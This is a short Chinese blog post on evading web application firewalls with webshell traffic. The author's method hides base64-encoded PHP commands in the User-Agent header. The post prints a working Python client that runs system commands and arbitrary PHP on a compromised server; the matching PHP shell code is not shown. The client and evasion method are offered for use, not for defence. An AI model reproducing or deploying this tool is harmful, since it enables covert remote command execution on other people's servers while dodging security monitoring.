绕过WAF检测WebShell通信

       最近换了工作,在新的环境里感觉棒棒哒~

       前一段在老公司要离职的时候事情比较少,就研究了下如何绕过市面上目前一些主流的WAF防护。针对WebShell的防护目前不管是硬件WAF还是云WAF都是基于特征通信进行防护,比如上传的时候或者返回的时候。根据我所了解的多家厂商主要还是基于GPC和Response进行防护,对于其他一些的敏感请求就有所忽略。基于这点写了一个简单的PHP WebShell和客户端,目前可以绕过市面上份额比较靠前的几家硬件WAF以及绝大多数云WAF(别听我瞎说)。原理比较简单一看就懂,主要还是针对通信做了点小手脚,属于比较low的奇技淫巧。东西比较糙后面会针对客户端进行功能拓展以及对WebShell进行加密混淆。

       先来看看WebShell的写法:

       然后是客户端:

#/usr/bin/env python
# coding=gbk

import sys
import httplib2
import base64

if len(sys.argv) <2 :
    print 'Usage:python client.py http://127.0.0.1/shell.php 1'
    print 'Help:'
    print '1 : 列出程序目录'
    print '2 : 执行命令'
    print '3 : 执行PHP代码'
    sys.exit()

def execcmd(name,command):
    shell = sys.argv[1]
    try:
        h = httplib2.Http()
        encodecmd = base64.b64encode(command)
        response,content = h.request(sys.argv[1],headers={'User-Agent':encodecmd})
        print '%s: %s' %(name,content)
    except:
        print '无法执行相关请求!'

def main():
    if '1' in sys.argv[2]:
        command = 'echo dirname(__FILE__)'
        execcmd('本程序目录',command)
    elif '2' in sys.argv[2]:
        print 'example: whoami'
        command = 'system(%s)' %(raw_input('请输入命令:'))
        execcmd('结果回显',command)
    elif '3' in sys.argv[2]:
        print 'example: echo 123'
        command = raw_input('请输入代码:')
        execcmd('结果回显',command)
    else:
        sys.exit()
        
        
        
if __name__ == '__main__':
    main()
       最后来张绕过某WAF的图:

绕过WAF检测WebShell通信_第1张图片




你可能感兴趣的:(奇技淫巧)